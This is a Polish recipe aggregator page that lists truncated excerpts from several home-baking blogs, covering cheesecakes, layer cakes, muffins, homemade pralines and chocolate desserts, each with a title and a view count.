180st.  Ostudzić i przekroić na 3 blaty. Krem:  300ml śmietany 18%,  czubata łyżeczka kawy rozpuszczalnej,  łyżka wrzątku,  4 łyżki cukru pudru,  50g mlecznej czekolady,  50g gorzkiej czekolady,  3 bezy,  czekoladowe serduszka.    Kawę rozpuścić we wrzątku, lekko przestudzić i wraz z cukrem pudrem dodać do śmietany. Dokładnie wymieszać.  Masą(...)przełożyć blaty ciasta. Wierzch i boki ciasta udekorować resztą kremu.  Posypać startą na dużych oczkach czekoladą oraz pokruszoną bezą. Udekorować serduszkami.  Wstawić na kilka godzin do lodówki.                                     Smacznego

Z miłości do słodkości
Piernik staropolski długo dojrzewający 166

trzy równe części. Każdą rozwałkować i układać w keksówce. Każde ciasto piec około 15-20minut w temp. 180st. Ostudzić.  Dodatkowo:  300g powideł śliwkowych,  100g mlecznej czekolady,  50g gorzkiej czekolady,  1/4 szklanki śmietanki 30%,  łyżka masła. Ciasta przełożyć grubą warstwą powideł. Czekolady połamać na kawałki i wraz z masłem oraz śmietaną stopić na parze

Z miłości do słodkości
Sernik z żurawiną i musem malinowym 196

Wczoraj był seromakowiec a dzisiaj po prostu sernik. Jednak wcale nie taki zwykły;) Masa serowa dzięki dodatkowi mascarpone jest wilgotna i zarazem delikatna. Ponadto udoskonaliłam go białą czekoladą oraz żurawiną dla przełamania smaków. Na wierzchu zrobiłam esy-floresy z musu z malin, co nadało ciastu ciekawy smak i sprawiło, że nie trzeba go ozdabiać;) Jednak dla jeszcze lepszego efektu polałam(...)delikatnie docisnąć. Schłodzić. Masa serowa:  500g białego sera,  500g serka mascarpone,  4 jajka,  żółtko, szklanka cukru, budyń waniliowy, 1/2 szklanki suszonej żurawiny,  100g białej czekolady,  4 łyżki śmietanki 30%,  50g malin,  kilka łyżek likieru jajecznego.  Biały ser zmielić, dodać serek mascarpone, jajka oraz żółtko, zmiksować. Następnie dodać cukier, sproszkowany budyń oraz

Z miłości do słodkości
Ciasto z musem malinowym i ajerkoniakiem 215

Dlatego przygotowałam cienkie kruche ciasto z bezą . Zużyłam też mały zapas malin z zamrażalnika i zrobiłam maślano - ajerkoniakowy dla dorosłych. Masy przełożyłam herbatnikami a całość kończy śmietanka i starta czekolada. I tak jak przypuszczałam, nim się obejrzałam pół blaszki ciasta zniknęło:)  Ciasto:  3 jajka,  1 i 1/2 szklanki mąki tortowej, łyżka mąki ziemniaczanej,  łyżeczka proszku(...)puch, dodawać po łyżce zimnego budyniu. Na koniec, stale miksując, powoli wlewać ajerkoniak. Dodatkowo:  250g herbatników,  250ml śmietanki 30%,  galaretka malinowa, 50 g startej mlecznej czekolady. Na wystudzone ciasto wyłożyć tężejący mus malinowy, przykryć warstwą herbatników. Rozsmarować krem ajerkoniakowy, wyłożyć kolejną warstwę biszkoptów. Galaretkę rozpuścić w szklance wrzątku, przestudzić. Śmietankę ubić na sztywno, Ubijając, powoli wlewać tężejącą

Z miłości do słodkości
Sernik z musem truskawkowym a'la Panna Cotta 219

masę. Na cieście rozsmarować mus z truskawek. Następnie wylać masę serową. Piec około 60 minut w temp. 175st. Ostudzić. Wierzch:  1/2 szklanki musu z truskawek,  20g gorzkiej czekolady,  20g białej czekolady,  cukier puder.  Wierzch ciasta posmarować musem z truskawek, oprószyć odrobiną cukru pudru. Czekolady zetrzeć na tarce o dużych oczkach, posypać wierzch sernika. Przechowywać

Z miłości do słodkości
Ciasto Prince Polo z kremem i brzoskwiniami 209

przepis na ciasto Prince Polo. Niedawno przypadkowo go znalazłam i wiedziałam, że muszę w końcu je upiec. Ciemny biszkopt, nasączony sokiem z brzoskwiń, przełożony masą z waflami "Prince Polo", czekoladą i brzoskwiniami. Wierzch pokryty również brzoskwiniami i galaretką. Mimo, że ciasto nie należy do tych niskokalorycznych, to konsystencją jest bardzo lekkie i delikatne. Na pewno jeszcze nie raz je upiekę(...)minut w temp. 180st. Ostudzić i przekroić na pół. Krem: 500ml śmietanki 30%,  2 łyżki cukru pudru,  3 duże wafle "Prince Polo",  100g gorzkiej czekolady, 2 czubate łyżeczki żelatyny,  puszka brzoskwiń,  galaretka o smaku brzoskwiniowym. Żelatynę rozpuścić we wrzątku, przestudzić.  Śmietankę ubić na sztywno wraz z cukrem pudrem. Pod koniec ubijania stopniowo dodawać przestudzoną

Z miłości do słodkości
Światowy Dzień Pieczenia - Babeczki Red velvet 182

którego postanowiłam dołączyć! Co prawda troszkę przerobiłam oryginalny przepis na te babeczki, ale zdecydowanie wyszło im to na dobre:)) Ja swoje babeczki udekorowałam chmurką bitej śmietany i odrobiną czekolady.  Składniki: 2 jajka,  180g margaryny,  laska wanilii,  łyżeczka soli,  szklanka cukru,  400g mąki pszennej,  200 ml jogurtu naturalnego,  3 czubate łyżki kremu czekoladowego(...)minut w temp. 180st. Ostudzić. Dekoracja:  200 ml śmietanki 30%,  3 łyżki serka mascarpone,  2 łyżki cukru pudru,  cukier błyszczący do posypania,  20g startej czekolady.   Śmietankę ubić na sztywno, pod koniec ubijania dodając cukier puder. Na koniec dodać mascarpone, chwilę ucierać.  Masę przełożyć do szprycy i udekorować babeczki.  Posypać startą czekoladą oraz

Z miłości do słodkości
Wielkanocne gniazdka 216

Swięta Wielkanocne zbliżają się wielkimi krokami :) Coś szybkiego I coś słodkiego dla naszych milusińskich I nie tylko :) Zaczynamy :) Składniki na ok 24 gniazdka: 300 gr czekolady mlecznej- do wypieków ok 200 gr chrupek ryżowych 2-3 łyżki wiórek kokosowych parę kropel barwnika zielonego spożywczego mini jajaeczka Wykonanie: Rozpuszczamy czekoladę, dodajemy chrupki ryżowe - mieszamy. W formie mufinowej na rozłożone(...)papierki układamy "gniazdka". Musimy robić to w miarę szybko bo czekolada tężeje. Do wiórek kokosowych dodajemy barwnik. Mieszamy I "rozsypujemy" trawę po gniazdkach :) Na trawę układamy gotowe jajeczka:) Wesołych Świąt

Smaki Edyty
Raffaello z truskawkami- raffaello with strawberries 312

wyciągnieia suchego patyczka. Po upieczeniu I wystygnięciu kroimy na trzy placki. Możemy lekko nasączyć,  Składniki na krem: 500 ml kremówki 1 biała czekolada 150 gr wiórek kokosowych 500 gr mascarpone ok 30 gr migdałow do uprażenia ok 300 gr truskawek  Rozpuszczamy na małym gazie czekoladę z niewielką ilością śmietany. Ubijamy kremówkę. Dodajemy ropuszczoną I schłodzoną czekoladę. Ubijamy

Smaki Edyty
Banoffee pie 126

Super słodki deser. Bez pieczenia. Połączenie karmelu i bananów na spodzie krucho - maślanym. Na wierzchu bita śmietana wraz z mleczną czekoladą. Pyszności ! Polecam łasuchom !      Składniki : * opakowanie dowolnych herbatników * kostka masła * puszka kajmaku * banany * pół litra kremówki * fix do śmietany bądź rozpuszczona żelatyna * mleczna czekolada      Przygotowanie : Herbatniki pokruszyć i połączyć z płynnym masłem. Wyłożyć spód(...)podgrzaniu masa krówkową lepiej się rozsmaruje na herbatnikach. Na masę układamy plasterki banana. Ubijamy kremówkę z fixem bądź rozpuszczoną żelatyną. Wykładamy śmietanę na banany i wszystko posypujemy startą czekoladą. Odstawiam na noc do lodówki

Magiczne Życie Marty
Bajaderka 141

pewno i Wam po świętach zostały ciasta. Te bez kremów i galaretek możemy z pewnością wykorzystać w tych pysznych bajaderkach. Obtoczone w mlecznej czekoladzie i wiórkach kokosowych dorównują tym ze sklepowej półki! Powiem więcej - są o niebo lepsze! Składniki : * pokruszony biszkopt lub inne ciasto np murzynek * łyżka kakao * dowolne bakalie i orzechy posiekane drobno * 2 łyżki dżemu truskawkowego * polewa czekoladowa(...)bądź rozpuszczona mleczna czekolada * wiórki kokosowe Przygotowanie : Wszystkie składniki wyrobić tak by powstała kula. Podzielić ją na mniejsze kuleczki. Obtoczyć w czekoladzie i obsypać wiórkami kokosowymi. Odłożyć by cała masa stwardniała. Moje aż się rozpływały w ustach. insertCookd("36cf2a0721222a1ccf47fc4f77cc6f5e

Magiczne Życie Marty
Racuchy z kiwi i żurawiną 162

Racuchy z jabłkami zna chyba każdy. U mnie dzisiaj z innym dodatkiem. Troszkę kwaśne, ale dodatek cukru pudru i startej czekolady dodaje słodyczy. Jeśli macie ochotę na takie połączenie to polecam. Składniki : * szklanka mąki * pół szklanki kefiru bądź maślanki * plaster drożdży  * 1/4 szklanki ciepłej wody * 3 łyżki cukru * jajko * szczypta soli * kiwi * garść żurawiny  * starta czekolada mleczna, cukier(...)się bąbelki powietrza. Dodać pokrojone kiwi oraz żurawinę. Smażyć na dość dobrze rozgrzanym oleju z obu stron na złoty kolor. Odłożyć na ręcznik by odcisnąć nadmiar tłuszczu. Ciepłe posypać czekoladą i pudrem

Magiczne Życie Marty
Red Velvet Cupcake na Światowy Dzień Pieczenia 114

proszkiem do pieczenia i kakao oraz jogurtem i mlekiem. Połączyć z odrobiną czerwonego barwnika. Piec 20 minut w 180 stopniach.  Polewa czekoladowa : * 100 ml śmietanki kremówki * tabliczka mlecznej czekolady  * winogrona do ozdoby Przygotowanie : Czekoladę drobno posiekać, śmietankę zagotować. Dobrze wymieszać z czekoladą, przestudzić i lekko ubić. Wylać na przestudzone babeczki. Odłożyć na kratkę do pieczenia. Ozdobić połówkami czerwonego

Magiczne Życie Marty
Domowe pralinki nadziewane 126

naszej mamy na pewno warto! Może i Wam podsunę pomysł, by w tym roku zamiast tej kupnej bombonierki, podarować pyszne nadziewane pralinki. Składniki : * 2 tabliczki dobrej jakościowo gorzkiej czekolady * dowolne, ulubione nadzienie - u mnie orzechy laskowe, migdały oraz mus mango Przygotowanie : Czekoladę rozpuścić w kąpieli wodnej. Pędzelkiem dokładnie wypełnić foremkę silikonową przeznaczoną do czekoladek. Wstawić do lodówki na pół godziny(...)Czynność powtórzyć raz jeszcze, by ścianki czekoladek były grubsze, odstawić do przestygnięcia. Napełnić dowolnym nadzieniem do 3/4 wysokości czekoladek, resztę uzupełnić czekoladą. Odstawić do całkowitego zastygnięcia

Magiczne Życie Marty
Ciasto cappuccino bez pieczenia 116723

łyżki cukru krem cappuccino 1 opakowanie Śnieżki 200ml mleka 8 czubatych łyżek cappuccino w proszku 250g serka mascarpone 5 łyżeczek żelatyny 2/3 szklanki ciepłej wody 16 herbatników 4 kostki czekolady deserowej do dekoracji Wykonanie: - tortownicę wyłożyć na dnie i po bokach papierem do pieczenia (najlepiej blachę posmarować tłuszczem, wtedy papier lepiej się trzyma) - herbatniki łamać na mniejsze kawałki i układać(...)rozpuszczoną żelatynę połączyć z masą, delikatnie i dokładnie mieszając - masę wylać na gotową masę budyniową - tak przygotowane ciasto schłodzić w lodówce, najlepiej całą noc, przed podaniem wierzch posypać startą czekoladą Ciasto cappuccino jest połączeniem dwóch smaków: dolna masa budyniowa jest słodka, górna warstwa cappuccino - lekko kawowa, a ogólną słodycz ciasta równoważy starta czekolada deserowa. Herbatniki pod wpływem gorącej masy budyniowej

Smakołyki Bereniki
MUFFINKI ZE SNICKERSEM. 162

jajko 1/2 szklanki oleju rzepakowego 3/4 szklanki mleka  1/2 szklanki brązowego cukru 2 łyżeczki proszku do pieczenia płaska łyżeczka sody oczyszczonej szczypta soli (1/2 łyżeczki) tabliczka gorzkiej czekolady 4 snickersy Mąkę, proszek, sodę przesiewam razem do miski i mieszam ze solą.  W osobnej misce miksuję jajka z cukrem, olejem i mlekiem. Gorzką czekoladę ścieram na tarce, a batoniki(...)dzielę na 3 części każdy. Składniki mokre wlewam do miski ze suchymi, wsypuję też startą czekoladę i mieszam wszystko łyżką krótko, tylko do połączenia składników, nic dłużej. Szykuję 12 papilotek (jeśli są dość cienkie i miękki, kłaść podwójnie,  a nawet potrójnie, by je usztywnić). Do każdej wkładam po łyżce ciasta, układam kawałek batonika i zakrywam pozostałym ciastem

W kuchni Karmel-itki
Mazurek kajmakowy 267

szklanka) - 3 łyżki zimnego masła - 1/3 szklanki cukru pudru - 1 żółtko - 1 łyżka kwaśnej śmietany Składniki na polewę: - puszka mleka skondensowanego słodzonego (lub gotowa masa kajmakowa) Dodatki: - migdały - gorzka czekolada Mleko skondensowane (nieotwarte w puszce) włożyć do garnka z wrzącą wodą i gotować przez około 2 godziny. Puszka powinna być całkowicie zanurzona w wodzie. Z podanych składników ugnieść ciasto. Zawinąć(...)około 20 minut. Ciasto powinno być lekko zarumienione. Odstawić do wystygnięcia. Na ciasto wylać ostudzoną masę kajmakową. Po chwili powinna zrobić się gęsta.  Ja mojego mazurka ozdobiłam gorzką czekoladą i migdałami. Migdały zalałam wrzątkiem i zdjęłam z nich skórkę. Czekoladę roztopiłam w kąpieli wodnej. Możliwości na zdobienie ciasta jest nieskończenie dużo

Zgrabne Gotowanie
Sernik na spodzie brownie z musem truskawkowym 117

Składniki: Mus truskawkowy: 2 szkl z górką truskawek (świeżych lub mrożonych) 3 łyżki cukru brązowego lub białego Brownie (spód): 200 g gorzkiej czekolady 200 g masła 3 jajka 1 łyżeczka ekstraktu z wanilii 230 g drobnego cukru (można cukier puder) 120 g mąki pszennej Masa serowa: 500 g śmietankowego sera twarogowego 3/4 puszki słodzonego mleka skondensowanego 2 jajka Przygotowanie: Blaszkę(...)gotować razem z cukrem na małym ogniu, bez przykrycia, przez około 45 minut na gęste puree. W połowie gotowania rozgnieść truskawki praską. Ostudzić. Brownie (spód):  W rondelku roztopić czekoladę razem z masłem, nie podgrzewając za bardzo masy. Ostudzić. Jajka ubić na puszystą pianę razem z cukrem i wanilią. Następnie wymieszać z ostudzoną czekoladą i masłem. Na koniec delikatnie połączyć

Blondynka Gotuje
Babeczki kruche z kremem waniliowym 388

sprawdzamy wykałaczką . KREM: 250 ml śmietany kremówki 36 % ( schłodzonej min.dobę) 250 ml serka maskarpone 1/4 szkl cukru pudru ziarenka z jednej laski wanilii PRZYBRANIE: 100 g mlecznej czekolady startej na tarce na grubych oczkach galaretka banan Śmietankę ubić na sztywno, dodać cukier puder i ziarenka wanilii. Serek mascarpone zmiksować kilka sekund w osobnej misce i dodawać go po łyżce(...)śmietanki i szybko zmiksować. Na koniec dodać startą czekoladę. Galaretkę rozpuścić w płaskim naczyniu, poukładać banany pokrojone w plastry i pozwolić stężeć. Do upieczonych i wystudzonych babeczek włożyć po małej kosteczce galaretki, na nią szprycą wycisnąć krem straciatella, na wierzch położyć banana w galaretce i posypać startą czekoladą. Smacznego

Blondynka Gotuje
Mój pierwszy przepis na muffinki 152

jest mój pierwszy przepis na muffiny. Wielokrotnie przez mnie modyfikowany, dodawałam drobno startą czekoladę, wiórka kokosowe i wiele innych - zawsze wychodzą! Jedyny minus jak dla mnie jest taki,że  najlepsze są tylko w dniu upieczenia, na drugi dzień też są dobre,ale to już nie to! Jednak przepis warty do przetestowania!  Czarne, mocno czekoladowe i w środku kawałki(...)białej czekolady ....mmmm! Składniki suche: 250 g maki pszennej 2 łyżeczki proszku do pieczenia 1/2 łyżeczki sody oczyszczonej 175 g cukru 2 łyżki kakao 150 g groszków czekoladowych lub posiekanej czekolady Składniki mokre: 250 ml mleka lub maślanki 90 ml oleju 1 łyżeczka ekstraktu z wanilii lub zapach waniliowy 1 jajko Wykonanie: Suche składniki wymieszać w misce. Mokre składniki dokładnie

Blondynka Gotuje
Tort Pomarańczowo - Waniliowy z Miętową Nutą 158

przy masie miętowej, z tym, że zamiast ekstraktu miętowego dodajemy ziarenka waniliowe. Masa na drugą warstwę, wierzch i boki tortu. GANACHE: 250 ml śmietanki kremówki 30% 200 g gorzkiej czekolady połamanej 50 g masła 3 łyżki cukru pudru Ganache:  Wszystkie składniki rozpuszczamy w rondelku. Powstałą masę wylewamy na wierzch tortu, na który następnie układamy obrane kawałeczki pomarańczy, wtykając gdzieniegdzie(...)listki świeżej mięty.Całość posypujemy odrobiną startej białej czekolady. Dodatkowo: 2 pomarańcze 1 szklanka musu truskawkowego kilka gałązek świeżej mięty 2 łyżki białej czekolady startej na tarce Każdy blat smarujemy najpierw musem, a potem masą. Musu użyłam zamiast ponczowania blatów biszkoptowych. SMACZNEGO życzy BLONDYNKA :) Obok mojego tortu widać mniejszy torcik, który zrobiłam przy okazji, tak bez okazji dla mojego syna

Blondynka Gotuje
Mini Torciki Improwizowane 146

lodówki.Przepis z głowy własnej - choć nie sądzę, żebym była nowatorką w takim połączeniu. Dodatkowo: 1 puszka słodzonego mleka skondensowanego kilka łyżek konfitury wiśniowej z całymi owocami 45 g czekolady gorzkiej 1 małe opakowanie ciastek Petit Beurre,tzw. Petitki Wykonanie: Mleko skondensowane gotujemy w puszce zanurzonej w wodzie około 2-2,5 godziny.  Na biszkopt wylewamy zagotowane mleko skondensowane(...)które układamy warstwę ciastek. Wkładamy do lodówki. Jak masa zastygnie, na ciastka wykładamy krem kawowy, na który układamy wiśnie z konfitury. Czekoladę rozpuszczamy w kąpieli wodnej, rozpuszczoną czekoladą robimy kleksy na wierzchu ciasta. Wygląd zależy od naszej wyobraźni. Ciasto schłodzić. Po 2 godzinach jest gotowe do podania.  SMACZNEGO życzy  BLONDYNKA :) Moja abstrakcja :) Tu już widać delikatną pedanterię

Blondynka Gotuje
Tort "Od Serca" 174

lodówki.Przepis z głowy własnej - choć nie sądzę, żebym była nowatorką w takim połączeniu. Dodatkowo 1 puszka słodzonego mleka skondensowanego kilka łyżek konfitury wiśniowej z całymi owocami 90 g czekolady gorzkiej 1 małe opakowanie ciastek Petit Beurre,tzw. Petitki kilka truskawek listki świeżej mięty garstka zmiksowanych na pył ciastek Petit Beurre (do obsypania boków tortu) Wykonanie: Mleko skondensowane gotujemy(...)biszkopt wylewamy zagotowane mleko skondensowane, na które układamy warstwę ciastek. Wkładamy do lodówki. Jak masa zastygnie, na ciastka wykładamy krem kawowy, na który układamy wiśnie z konfitury. Czekoladę rozpuszczamy w kąpieli wodnej, rozpuszczoną czekoladą robimy kleksy na wierzchu ciasta. Wygląd zależy od naszej wyobraźni. Ciasto schłodzić. Po 2 godzinach jest gotowe do podania.  Krem waniliowy: 350 ml śmietanki kremówki

Blondynka Gotuje
Domowa Nutella 195

mój krem, powiedzieli, że jest leszy od oryginału. Mnie się podoba przepis, bo nie zawiera ani masła, jak w niektórych przepisach. Przepis zmodyfikowałam pod swój gust. Jeśli chodzi o czekolady, to ja użyłam mlecznej, białej i gorzkiej. Miałam 40 g mlecznej, nie chciało mi się biec do sklepu więc dodałam 60 g białej i 50 g gorzkiej. Jeśli chodzi(...)wykonanie - szybko i prosto :) Składniki na ok.900g: 200 g orzechów laskowych 150 g czekolady (100 g mlecznej i 50 g gorzkiej) 2 łyżki syropu klonowego lub miodu 1 puszka mleka skondensowanego słodzonego (533g) Wykonanie: Wyłuskane orzechy wysypałam na małą blaszkę i włożyłam na kilka minut do piekarnika nagrzanego do 188 stopni, po kilku minutach wysypałam na ściereczkę i pocierałam orzechy

Blondynka Gotuje
Rafaello 4956

będzie hitem na blogu - zobaczymy:) Przepis polecam! Szybki i prosty w wykonaniu. Smak - sami oceńcie! Przepis ze strony  Wszystko o kuchni . Składniki na 24 sztuki: 200 g białej czekolady (2 tabliczki) 100 g masła w temperaturze pokojowej 50 g cukru pudru 1,5 szklanki wiórek kokosowych do masy 24 sztuki całych obranych migdałów obranych ze skórki wiórka kokosowe(...)obtoczenia Wykonanie: Czekoladę rozpuszczamy na parze. Miksujemy masło z cukrem pudrem na gładką masę. Miksując, dodajemy po łyżce rozpuszczoną czekoladę, ja wlewałam cienką stróżką. Do powstałej masy wsypujemy wiórka kokosowe i mieszamy drewnianą łyżką lub tak jak ja mikserem  na wolnych obrotach. Powstaną nam drobne grudki, które ugniotłam łyżką i wstawiłam na 30 minut do lodówki. Po tym czasie

Blondynka Gotuje
Pomarańczowe Ciasteczka z Kaszą Manną 173

masła skórka otarta z 1 dużej pomarańczy 100 g cukru pudru 55 g kaszy manny lub polenty sok z pomarańczy ok.2 łyżek 150 g mąki pszennej Dodatkowo: 50 g czekolady gorzkiej Wykonanie: Piekarnik rozgrzewamy do 180 stopni. Blachy wykładamy papierem do pieczenia. W misce miksujemy masło z cukrem pudrem, skórką i sokiem z pomarańczy, do momentu połączenia się składników. Następnie(...)piekarnika są nadal miękkie i musimy odczekać około 5 minut. Po tym czasie przekładamy je na kratkę kuchenną. Po całkowitym wystudzeniu albo zanurzamy do połowy ciastka w roztopionej czekoladzie, albo polewamy czekoladą po wierzchu jak ja to zrobiłam. SMACZNEGO życzy BLONDYNKA

Blondynka Gotuje
Ekspresowy Deser z Resztek 172

Taki deser możemy wyczarować ze składników, które pozostały po wykonaniu  Tortu Straciatella z Malinami . Lekki krem, starta czekolada, maliny i listki mięty. Pysznie wyszło! Na sam spód ułożyłam ścinki ciasta czekoladowego, potem krem, następnie posiekaną czekoladę, maliny, potem znowu krem, czekolada, maliny, listki mięty. Prawda, że łatwo

Blondynka Gotuje
W - Z, czyli Wuzetka 20355

miseczki z żelatyną dodajemy łyżkę kremówki i mieszamy, dodajemy następną łyżkę kremówki, mieszamy i dopiero tak zahartowaną żelatynę dodajemy do ubitej kremówki i mieszamy. Polewa czekoladowa: 60 g mlecznej czekolady 60 g gorzkiej czekolady 40 g masła Wykonanie: Czekolady posiekałam. Wszystkie składniki rozpuściłam w kąpieli wodnej. Wykonanie ciasta: Wystudzone ciasta wyciągnęłam z tortownic, każde przekroiłam na pół. Na blacie ułożyłam

Blondynka Gotuje
Jogurtowe Babeczki Czekoladowe 183

suchego patyczka. Po upieczeniu wyjęłam babeczki z piekarnika, lekko przestudziłam w foremkach, następnie wyjęłam i studziłam na kratce.    Polewa czekoladowa: 100 g mlecznej czekolady 60 g gorzkiej czekolady 40 g masła Wykonanie: Czekolady posiekałam. Wszystkie składniki rozpuściłam w kąpieli wodnej. SMACZNEGO życzy BLONDYNKA :) * /post zawiera lokowanie produktu Patera Hemingway ze sklepu Garneczki.pl

Blondynka Gotuje
Brownie - podobno oryginał 137

raczej mówiono na to ciasto Czekoladowe Francuskie. W tamtym okresie przepis przyjechał do mnie z samego Paryża. Oryginał? Nie wiem. W większości przepisach na brownie zwykle widziałam 200 g czekolady, 200 g masła i 100 g mąki. W tym przepisie widnieje 50 g. Zjadłam kawałeczek, mój syn zjadł resztę. Rzadko widzę aby się tak zajadał. Brownie miałam podać z bitą(...)śmietaną i musem, jednak syn poprosił, abym posypała je cukrem pudrem i polała zmiksowanymi truskawkami. Jak mogłabym odmówić własnemu dziecku? Nie mogłam :)  Składniki: 200 g czekolady gorzkiej 200 g masła  200 g cukru 4 jajka (żółtka i białka osobno) 50 g mąki pszennej Wykonanie: Czekoladę i masło rozpuszczamy w rondelku na małym ogniu. Masę studzimy. Białka oddzielamy

Blondynka Gotuje
Tort Urodzinowy Mój :) 201

ubijania dodajemy cukier puder. W drugiej misce zmiksować serek mascarpone, który dodajemy w dwóch częściach. Miksujemy tylko do połączenia składników, albo mieszamy szpatułką.  POLEWA CZEKOLADOWA: 100 g mlecznej czekolady 60 g gorzkiej czekolady 40 g masła Wykonanie: Czekolady siekamy, masło kroimy na mniejsze kawałki i wszystko razem rozpuszczamy w kąpieli wodnej. WYKONANIE TORTU: Blaty nasączamy wiśniówką wymieszaną z wodą

Blondynka Gotuje
Babka snickers 1952

abka dla wielbicieli kajmaku i snikersów. :) Kajmak znajduje się zarówno w cieście jak i w polewie. :) Całość dodatkowo obsypałam orzeszkami solonymi i mleczną czekoladą (jak na snikers przystało ;)). Babkę piekłam z myślą o nadchodzących świętach wielkanocnych. Przepis znalazłam jakiś czas temu na forum Cin Cin (poniżej przepis z moimi modyfikacjami). Przepis dodaje do propozycji ciast na Wielkanoc . Ta babka może(...)pieczenia szczypta soli 1 łyżka rumu (opcjonalnie) 400 g skondensowanego mleka gotowanego w puszcze 4 godziny lub gotowego (kajmaku) solone orzeszki ziemne polewa czekoladowa (kilka kostek gorzkiej lub mlecznej czekolady) Przygotowanie Jajka zmiksować z cukrem na puszystą masę. W drugiej misce zmiksować masło, dodawać powoli utarty kogel-mogel (z pkt. 1). Mąkę wymieszać z solą i proszkiem do pieczenia

coolinarnastrefa.blogspot.com
Kuleczki owsiane, smaczne i zdrowe (bez pieczenia) 265

misce. Wstawić masę do lodówki na ok. 30 min. (po tym czasie powinno być łatwiej lepić kulki). Formować niewielkie kuleczki ("na jeden kęs"). Część kuleczek obtoczyłam w startej czekoladzie gorzkiej (można obtaczać również w wiórkach kokosowych, czekoladzie mlecznej lub drobno posiekanych orzechach). Przechowywać w lodówce do tygodnia w szczelnym pojemniku. Inne warianty: Powyższy przepis można dowolnie modyfikować dodając swoje ulubione(...)dodatki. Zamiast masła orzechowego można dodać masło migdałowe. Przykładowe dodatki: suszone owoce (morele, rodzynki, figi, żurawinę etc.) posiekane migdały, pekany, orzechy włoskie lub ziarna słonecznika kawałki czekolady gorzkiej, mlecznej, M&Ms Smacznego

coolinarnastrefa.blogspot.com
Pieguski wg "Kuchni bez pszenicy" 178

roztopionego 1/4 szkl. śmietany lub mleka kokosowego (użyłam Bielucha) 2 łyżeczki ekstraktu waniliowego 1/2 łyżeczki płynnej stewii (użyłam stewii w proszku, ~1/4 szkl., patrz: uwagi **) 285 g posiekanej gorzkiej czekolady (dałam mniej)*** Przygotowanie 1. W dużej misce wymieszać mączkę migdałową, sodę oczyszczoną i sól. 2. W małej misce utrzeć jajka, masło lub olej kokosowy, śmietanę lub mleko kokosowe, ekstrakt waniliowy(...)stewię. Połączyć uzyskaną masę z surowymi składnikami. Dodać posiekaną czekoladę. 3. Nakładać łyżką spore porcje ciasta (****). Za pomocą łyżki spłaszczać każde ciasteczko na grubość ok. 12 mm. 4. Piec przez 25 minut w temperaturze 180 C, do czasu gdy brzegi lekko zbrązowieją. Przełożyć na druciany ruszt do całkowitego wystygnięcia. 95 o C przez ok. 50 min, do czasu gdy masa

coolinarnastrefa.blogspot.com
Ciasteczka owsiano-czekoladowe 119

boli :) Składniki: 3 szkl. błyskawicznych płatków owsianych 1 i 1/2 szkl. mąki szklanka posiekanych orzechów włoskich ( ja dodałam orzechy laskowe i orzechy ziemne pół na pół ) 100 g gorzekiej czekolady 2 czubate łyżki masła 1/2 szkl. oleju 1 i 1/2 szkl. cukru 2 jajka 2 łyżeczki proszku do pieczenia aromat waniliowy 1/2 łyżeczki soli Blachę wykładamy folią aluminiową.  Czekoladę(...)rozpuszczamy w kąpieli wodnej. W misce ucieramy masło, mieszamy je z żółtkiem utartymi z cukrem , olejem, ostudzoną czekoladą i aromatem waniliowym. Ubijamy z białek sztywną pianę. Delikatnie łączymy pianę z utartym kremem czekoladowym.  Mieszamy mąkę z proszkiem do pieczenia i solą. Wsypujemy do miski z kremem. Dodajemy płatki owsiane i orzechy, porządnie mieszamy. Nabieramy łyżeczką czubate porcje ciasta

Słodkości i nie tylko
Torcik makowy 381

robiłam i przyznam się , że miałam obawy jak mi wyjdzie . Torcik przygotowuje się dość szybko, gdyż maku nie trzeba gotować ani mielić, używa się maku suchego. Krem z białej czekolady bardzo dobrze współgra z ponczem z amaretto. Wymiary tortownicy : średnica 23 cm Czas pieczenia : 45 minut Temp. pieczenia : 180 C Składniki: 5 jajek 150 g cukru pudru 2 łyżki zmielonych(...)migdałów 120 g mąki pszennej 2 łyżki mąki ziemniaczanej 1 łyzka proszku do pieczenia 200 g suchego maku 6  łyżek amaretto 300 g białej czekolady 400 g śmietany kremówki płatki migdałowe do dekoracji kakao , margaryna, cukier do polewy ( 3 łyżki kakao, 3 łyżki cukru, 3 łyżki mleka, 2 łyżki margaryny - cukier, kakao i mleko rozpuszczamy w rondelku na małym

Słodkości i nie tylko
Babka migdałowo-czekoladowa 151

minut Temp. pieczenia : 170 C Składniki: 250 ml śmietany kremówki 30 % 4 jajka 150 g drobnego cukru cukier waniliowy 100 g migdałów ( mogą być orzechy włoskie ) 50 g czekolady gorzkiej 250 g mąki krupczatki 2 łyżeczki proszku do pieczenia   Dodatkowo (Polewa czekoladowa) 50 g czekolady deserowej 50 ml śmietany kremówki Sposób wykonania: Śmietankę ubić na pół sztywno(...)wymieszać z pianą z białek. Następnie dodać pokruszoną  czekoladę, zmielone migdały, żółtka i mąkę przesianą z proszkiem do pieczenia. Wymieszać. Masą wypełnić foremkę na babkę wcześniej wysmarowana tłuszczem i posypaną mąką krupczatką. Piec ok. 50- 60 minut w temp. 170 C . Babkę przestudzić w foremce, po czym wyjąć i polać polewą czekoladową . Smacznego

Słodkości i nie tylko
Ciasto cukiniowo - czekoladowe 190

łyżeczki soli - 1 łyżeczka kawy rozpuszczalnej - 120 g masła o temperaturze pokojowej - 170 g cukru kryształu - 1 cukier waniliowy - 3 jajka - 290 g obranej cukini - 2 tabliczki gorzkiej czekolady Do posypania: - cukier kryształ - garść orzechów włoskich Przygotowanie: Cukinię zcieramy na dużych oczkach a czekoladę kroimy w kostkę. W misce mieszamy mąkę, kakao, sodę, proszek do pieczenia, sól i kawę. Osobno(...)ucieramy miękkie masło z cukrem i cukrem waniliowym na puszystą masę. Nadal miksując dodajemy po jednym jajku a następnie stopniowo wcześniej przygotowane suche składniki. Na koniec dodajemy cukinię i czekoladę,mieszamy już łyżką. Masę przekładamy do tortownicy, posypujemy cukrem pomieszanym z pokrojonymi orzechami. Wstawiamy do piekarnika nagrzanego do 180 C i pieczemy 50 minut

Zainspirowana w kuchni
Tort z musem czekoladowym 354

